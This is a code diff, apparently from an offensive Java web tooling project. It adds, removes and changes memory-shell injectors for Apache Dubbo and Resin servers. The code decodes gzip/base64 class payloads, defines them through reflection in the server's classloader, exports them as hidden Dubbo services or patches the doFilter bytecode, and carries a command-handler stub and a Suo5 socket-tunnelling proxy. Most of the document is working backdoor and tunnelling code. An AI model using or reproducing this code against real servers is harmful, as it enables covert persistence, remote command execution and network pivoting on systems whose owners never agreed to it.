List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
}
if (protocols.isEmpty()) {
return normalizedPath;
}
return formatProtocolAddresses(protocols, normalizedPath);
}
private String formatUrls(List<URL> urls) {
StringBuilder builder = new StringBuilder();
for (URL url : urls) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatUrl(url));
}
return builder.toString();
}
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
StringBuilder builder = new StringBuilder();
for (ProtocolConfig protocol : protocols) {
if (builder.length() > 0) {
builder.append(", ");
}
builder.append(formatProtocolAddress(protocol, path));
}
return builder.toString();
}
private String formatUrl(URL url) {
String path = normalizePath(url.getPath());
int port = url.getPort();
return port > 0
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
}
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
Integer port = protocol.getPort();
return port != null && port > 0
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
: String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
}
private List<ProviderModel> providerModels() {
try {
return ApplicationModel.allProviderModels();
} catch (Throwable ignored) {
return new ArrayList<ProviderModel>();
}
}
private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
if (source != null) {
target.addAll(source);
}
}
private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
if (protocols != null) {
for (ProtocolConfig protocol : protocols) {
if (protocol != null) {
unique.put(protocolKey(protocol), protocol);
}
}
}
return new ArrayList<ProtocolConfig>(unique.values());
}
private List<RegistryConfig> registries(List<RegistryConfig> registries) {
return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
}
private String protocolKey(ProtocolConfig protocol) {
return String.valueOf(protocol.getName())
+ "|"
+ String.valueOf(protocol.getHost())
+ "|"
+ String.valueOf(protocol.getPort())
+ "|"
+ String.valueOf(protocol.getServer())
+ "|"
+ String.valueOf(protocol.getId());
}
private String normalizePath(String path) {
if (path == null) {
return "";
}
String normalized = path.trim();
while (normalized.startsWith("/")) {
normalized = normalized.substring(1);
}
return normalized;
}
private boolean notEmpty(String value) {
return value != null && !value.isEmpty();
}
private String stackTrace(Throwable throwable) {
StringWriter writer = new StringWriter();
throwable.printStackTrace(new PrintWriter(writer));
return writer.toString();
}
}
@@ -1,616 +0,0 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import javassist.ClassPool;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.config.*;
import org.apache.dubbo.rpc.model.ApplicationModel;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.security.ProtectionDomain;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
public class ApacheDubboServiceInjector {
private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
private static final String DISPLAY_HOST = "x.x.x.x";
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public ApacheDubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + getErrorMessage(e);
}
ok = true;
System.out.println(msg);
}
private Class<?> loadClass(String payload) throws Exception {
ClassLoader classLoader = resolveDubboClassLoader();
byte[] classBytes = gzipDecompress(decodeBase64(payload));
definePackageIfNeeded(classLoader, getClassName());
Class<?> loadedClass = defineClass(classLoader, classBytes);
registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
msg += "[" + classLoader.getClass().getName() + "] ";
return loadedClass;
}
private ClassLoader resolveDubboClassLoader() {
ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
if (classLoader != null) {
return classLoader;
}
classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
if (classLoader != null) {
return classLoader;
}
classLoader = ClassGenerator.class.getClassLoader();
return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
}
private ClassLoader invokeDubboClassLoader(String className) {
try {
Class<?> helperClass = Class.forName(className);
return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
} catch (Throwable ignored) {
return null;
}
}
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class,
byte[].class,
int.class,
int.class,
ProtectionDomain.class
);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
}
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
int packageEnd = className.lastIndexOf('.');
if (packageEnd < 0) {
return;
}
String packageName = className.substring(0, packageEnd);
try {
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
getPackage.setAccessible(true);
if (getPackage.invoke(classLoader, packageName) != null) {
return;
}
Method definePackage = ClassLoader.class.getDeclaredMethod(
"definePackage",
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
String.class,
java.net.URL.class
);
definePackage.setAccessible(true);
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
} catch (Exception ignored) {
}
}
public String toString() {
return msg;
}
private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
try {
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
try {
classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
} catch (NoSuchMethodException e) {
classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
}
} catch (Throwable ignored) {
}
insertByteArrayClassPath(className, classLoader, classBytes);
}
private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
try {
Class<?> classPoolClass = Class.forName("javassist.ClassPool");
Class<?> classPathClass = Class.forName("javassist.ClassPath");
Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
} catch (Throwable ignored) {
}
}
private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
}
}
public static byte[] decodeBase64(String str) throws Exception {
return Base64.getDecoder().decode(str);
}
public static byte[] gzipDecompress(byte[] bArr) throws IOException {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
byte[] bArr2 = new byte[4096];
int i;
while ((i = gZIPInputStream.read(bArr2)) > 0) {
byteArrayOutputStream.write(bArr2, 0, i);
}
return byteArrayOutputStream.toByteArray();
}
}
public String registerService() throws Exception {
String strNormalizePath = normalizePath(getUrlPattern());
if (strNormalizePath.isEmpty()) {
throw new IllegalArgumentException("path must not be empty");
}
if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
Class<?> shell = loadClass(getHelperBase64String());
Class<?> shell2 = loadClass(getBase64String());
validateServiceTypes(shell, shell2);
ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
return resolveServiceAddresses(strNormalizePath);
}
try {
serviceConfigCreateServiceConfig.export();
return resolveServiceAddresses(strNormalizePath);
} catch (RuntimeException e) {
DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
throw e;
}
}
return resolveServiceAddresses(strNormalizePath);
}
private boolean isPathRegisteredInFramework(String str) {
try {
for (Object obj : getRegisteredServices()) {
if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
private Collection<?> getRegisteredServices() {
try {
Object configManager = resolveConfigManager();
return toList(invokeNoArgs(configManager, "getServices"));
} catch (Exception e) {
try {
Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
return toList(invokeNoArgs(objInvoke3, "getServices"));
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String normalizePath(String str) {
if (str == null) {
return "";
}
String strTrim = str.trim();
while (true) {
String str2 = strTrim;
if (!str2.startsWith("/")) {
return str2;
}
strTrim = str2.substring(1);
}
}
private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
if (!cls.isInterface()) {
throw new IllegalArgumentException("not an interface: " + cls.getName());
}
if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
}
if (!cls.isAssignableFrom(cls2)) {
throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
}
}
private Object instantiate(Class<?> cls) {
try {
Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
return declaredConstructor.newInstance();
} catch (Exception e) {
throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
}
}
private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
Object configManager = resolveConfigManager();
ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
serviceConfig.setInterface(cls);
serviceConfig.setRef(obj);
serviceConfig.setPath(str);
serviceConfig.setProxy("jdk");
if (providerConfigSanitizeProviderConfig != null) {
serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
}
ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
if (applicationConfig != null) {
serviceConfig.setApplication(applicationConfig);
}
String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
if (strResolveConfiguredVersion != null) {
serviceConfig.setVersion(strResolveConfiguredVersion);
}
serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
return serviceConfig;
}
private ProviderConfig resolveDefaultProvider(Object obj) {
ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
if (providerConfigCastProviderConfig != null) {
return providerConfigCastProviderConfig;
}
Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
if (objInvokeNoArgs == null) {
objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
}
Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
}
private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
if (providerConfig == null) {
return null;
}
List registries = providerConfig.getRegistries();
if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
return providerConfig;
}
return null;
}
private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
if (collection == null) {
return new ArrayList<>();
}
return collection.stream()
.filter(registryConfig -> registryConfig != null && registryConfig.isValid())
.collect(Collectors.toList());
}
private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
if (!listFilterValidRegistries.isEmpty()) {
return listFilterValidRegistries;
}
List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
}
private String resolveConfiguredVersion(Object obj) {
return stringValue(invokeNoArgs(obj, "getVersion"), null);
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
}
private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
}
private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
List<ProtocolConfig> arrayList = new ArrayList<>();
if (collection != null) {
try {
for (Object service : collection) {
try {
arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
} catch (Exception e) {
}
}
} catch (Exception e2) {
}
}
try {
for (Object exportedProvider : getExportedProviders()) {
try {
Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
if (objInvokeNoArgs != null) {
arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
}
} catch (Exception e3) {
}
}
} catch (Exception e4) {
}
return arrayList;
}
private Collection<?> getExportedProviders() {
try {
Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
} catch (Exception e) {
try {
Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
} catch (Exception e2) {
return new ArrayList<>();
}
}
}
private String resolveServiceAddresses(String str) {
String strNormalizePath = normalizePath(str);
Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
if (objFindRegisteredService == null) {
objFindRegisteredService = findRegisteredService(strNormalizePath);
}
if (objFindRegisteredService == null) {
return strNormalizePath;
}
List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
if (!listExtractExportedUrls.isEmpty()) {
return formatUrls(listExtractExportedUrls);
}
List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
if (listResolveProtocols.isEmpty()) {
return strNormalizePath;
}
return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
}
private Object findRegisteredService(String str) {
for (Object obj : getRegisteredServices()) {
if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
return obj;
}
}
return null;
}
private List<?> extractExportedUrls(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
if (!list.isEmpty()) {
return list;
}
List<?> list2 = toList(getFieldValue(obj, "exporters"));
if (list2.isEmpty()) {
return new ArrayList<>();
}
List<Object> arrayList = new ArrayList<>();
for (Object exporter : list2) {
Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
if (objInvokeNoArgs != null) {
arrayList.add(objInvokeNoArgs);
}
}
return arrayList;
}
private List<?> resolveProtocols(Object obj) {
List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
}
private Object invokeNoArgs(Object obj, String str) {
if (obj == null) {
return null;
}
try {
return obj.getClass().getMethod(str).invoke(obj);
} catch (Exception e) {
return null;
}
}
private Object invokeStaticNoArgs(Class<?> cls, String str) {
try {
return cls.getMethod(str).invoke(null);
} catch (Exception e) {
return null;
}
}
private Object getFieldValue(Object obj, String str) {
if (obj == null) {
return null;
}
Class<?> superclass = obj.getClass();
while (true) {
Class<?> cls = superclass;
if (cls == null) {
return null;
}
try {
Field declaredField = cls.getDeclaredField(str);
declaredField.setAccessible(true);
return declaredField.get(obj);
} catch (Exception e) {
superclass = cls.getSuperclass();
}
}
}
private List<?> toList(Object obj) {
Object value = extractOptionalValue(obj);
if (value instanceof Collection) {
return new ArrayList<>((Collection<?>) value);
}
if (value instanceof Map) {
return new ArrayList<>(((Map<?, ?>) value).values());
}
return new ArrayList<>();
}
private Object extractOptionalValue(Object obj) {
if (obj instanceof Optional) {
return ((Optional<?>) obj).orElse(null);
}
return obj;
}
private Object firstElement(List<?> list) {
if (list.isEmpty()) {
return null;
}
return list.get(0);
}
private ProviderConfig castProviderConfig(Object obj) {
if (obj instanceof ProviderConfig) {
return (ProviderConfig) obj;
}
return null;
}
private ApplicationConfig castApplicationConfig(Object obj) {
if (obj instanceof ApplicationConfig) {
return (ApplicationConfig) obj;
}
return null;
}
private List<RegistryConfig> castRegistries(List<?> list) {
return list.stream()
.filter(RegistryConfig.class::isInstance)
.map(RegistryConfig.class::cast)
.collect(Collectors.toList());
}
private Object resolveConfigManager() {
Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
if (objInvokeStaticNoArgs != null) {
return objInvokeStaticNoArgs;
}
Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
}
private String formatUrls(List<?> list) {
return list.stream()
.map(this::formatUrl)
.collect(Collectors.joining(", "));
}
private String formatProtocolAddresses(List<?> list, String str) {
return list.stream()
.map(obj -> formatProtocolAddress(obj, str))
.collect(Collectors.joining(", "));
}
private String formatUrl(Object obj) {
String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
}
private String formatProtocolAddress(Object obj, String str) {
String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
}
private String stringValue(Object obj, String str) {
return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
}
private Integer integerValue(Object obj) {
if (obj instanceof Number) {
return Integer.valueOf(((Number) obj).intValue());
}
return null;
}
private List<ProtocolConfig> castProtocols(List<?> list) {
return list.stream()
.filter(ProtocolConfig.class::isInstance)
.map(ProtocolConfig.class::cast)
.collect(Collectors.toList());
}
private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
addProtocols(linkedHashMap, collection);
addProtocols(linkedHashMap, collection2);
return new ArrayList<>(linkedHashMap.values());
}
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
if (collection == null) {
return;
}
for (ProtocolConfig protocolConfig : collection) {
if (protocolConfig != null) {
map.put(protocolKey(protocolConfig), protocolConfig);
}
}
}
private String protocolKey(ProtocolConfig protocolConfig) {
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
}
private String getErrorMessage(Throwable th) {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
th.printStackTrace(printStream);
return byteArrayOutputStream.toString();
} catch (IOException e) {
return String.valueOf(th);
}
}
}
@@ -14,11 +14,9 @@ import java.util.zip.GZIPInputStream;
* @since 2025/3/26 * @since 2025/3/26
*/ */
public class ResinFilterChainAgentInjector implements ClassFileTransformer { public class ResinFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
private static final String TARGET_METHOD_NAME = "doFilter"; private static final String TARGET_METHOD_NAME = "doFilter";
private static final String[] TARGET_CLASSES = new String[]{
"com/caucho/server/http/FilterChainFilter",
"com/caucho/server/dispatch/FilterFilterChain",
};
public static String getClassName() { public static String getClassName() {
return "{{advisorName}}"; return "{{advisorName}}";
} }
@@ -40,10 +38,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
inst.addTransformer(new ResinFilterChainAgentInjector(), true); inst.addTransformer(new ResinFilterChainAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) { for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
for (String targetClass : TARGET_CLASSES) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
if (targetClass.replace("/", ".").equals(name)) { inst.retransformClasses(allLoadedClass);
inst.retransformClasses(allLoadedClass);
}
} }
} }
} }
@@ -52,24 +48,22 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all") @SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
for (String targetClass : TARGET_CLASSES) { if (TARGET_CLASS.equals(className)) {
if (className.equals(targetClass)) { defineTargetClass(loader);
defineTargetClass(loader); try {
try { ClassReader cr = new ClassReader(bytes);
ClassReader cr = new ClassReader(bytes); ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { @Override
@Override protected ClassLoader getClassLoader() {
protected ClassLoader getClassLoader() { return loader;
return loader; }
} };
}; ClassVisitor cv = getClassVisitor(cw);
ClassVisitor cv = getClassVisitor(cw); cr.accept(cv, ClassReader.EXPAND_FRAMES);
cr.accept(cv, ClassReader.EXPAND_FRAMES); System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME); return cw.toByteArray();
return cw.toByteArray(); } catch (Exception e) {
} catch (Exception e) { e.printStackTrace();
e.printStackTrace();
}
} }
} }
return bytes; return bytes;
@@ -1,15 +0,0 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
public class Dubbo extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
.build();
}
}
@@ -1,5 +0,0 @@
package com.reajason.javaweb.memshell.shelltool;
public interface ShellDubboService {
byte[] handle(byte[] bytes);
}
@@ -1,75 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.command;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.util.Scanner;
public class CommandDubboService {
public byte[] handle(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return new byte[0];
}
String p = new String(bytes);
String param = getParam(p);
try {
InputStream inputStream = getInputStream(param);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
outputStream.flush();
outputStream.close();
return outputStream.toByteArray();
} catch (Exception e) {
return getErrorMessage(e).getBytes();
}
}
private String getParam(String param) {
return param;
}
private InputStream getInputStream(String param) throws Exception {
return null;
}
@SuppressWarnings("all")
public Object unwrap(Object obj, String fieldName) {
try {
return getFieldValue(obj, fieldName);
} catch (Throwable e) {
return obj;
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -248,9 +248,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
baos.write(bodyContent); baos.write(bodyContent);
byte[] newBody = baos.toByteArray(); byte[] newBody = baos.toByteArray();
conn = redirect(req, new String(redirectData), newBody); conn = redirect(req, new String(redirectData), newBody);
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
pipeStream(conn.getInputStream(), out, resp, false); pipeStream(conn.getInputStream(), out, false);
} finally { } finally {
if (conn != null) { if (conn != null) {
conn.disconnect(); conn.disconnect();
@@ -347,10 +346,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId); Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
t.start(); t.start();
@@ -539,8 +539,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
throw new IOException("tunnel not found"); throw new IOException("tunnel not found");
} }
SocketChannel sc = (SocketChannel) objs[0]; SocketChannel sc = (SocketChannel) objs[0];
if (!sc.isOpen()) { if (!sc.isConnected()) {
return; throw new IOException("socket not connected");
} }
byte[] data = (byte[]) dataMap.get("dt"); byte[] data = (byte[]) dataMap.get("dt");
@@ -563,6 +563,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
throw new IOException("tunnel not found"); throw new IOException("tunnel not found");
} }
SocketChannel sc = (SocketChannel) objs[0]; SocketChannel sc = (SocketChannel) objs[0];
if (!sc.isConnected()) {
throw new IOException("socket not connected");
}
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream();
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1]; BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
int maxSize = 512 * 1024; // 1MB int maxSize = 512 * 1024; // 1MB
@@ -579,10 +582,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
break; // no more data break; // no more data
} }
} }
if (!sc.isOpen() && readQueue.isEmpty()) {
performDelete(tunId);
baos.write(marshalBase64(newDel(tunId)));
}
return baos.toByteArray(); return baos.toByteArray();
} }
@@ -611,7 +610,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
return port; return port;
} }
